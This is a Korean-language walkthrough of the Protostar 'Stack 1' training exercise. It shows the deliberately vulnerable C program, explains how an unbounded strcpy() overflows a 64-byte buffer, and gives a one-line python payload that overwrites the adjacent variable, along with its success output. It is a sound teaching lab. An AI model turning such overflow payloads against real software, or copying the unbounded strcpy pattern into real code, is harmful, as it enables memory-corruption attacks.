Stack 1의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); // Vurnerability!!! if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } } | cs |
modified와 buffer가 선언되어 있고 매개변수가 없으면 프로그램이 종료됩니다. 그리고 strcpy() 함수를 통해서 매개변수의 입력된 값을 buffer에 복사하고 있습니다. 입력 받는 크기를 지정하지 않는 strcpy() 함수의 취약점으로 인해 buffer의 메모리를 Overflow하여 modified의 값을 0x61626364로 수정하면 문제가 풀리게 됩니다.
Step 1. 실제 할당된 buffer의 크기를 확인해야 합니다. Stack 0에서와 같은 변수들이 선언되어 있기 때문에 메모리 할당은 똑같습니다. 따라서 실제 메모리에 할당된 buffer의 크기는 64 Bytes 입니다.
Step 2. 이제 다음과 같이 64개의 A와 0x61626364를 추가로 입력하면 buffer의 크기를 초과하여 modified 값을 0x61626364로 수정할 수 있습니다. Linux는 Little Endian을 사용하기 때문에 값을 뒤에서 부터 입력해야 합니다.
1 2 | $ /opt/protostar/bin/stack1 `python -c 'print "A"*64+"\x64\x63\x62\x61"'` you have correctly got the variable to the right value | cs |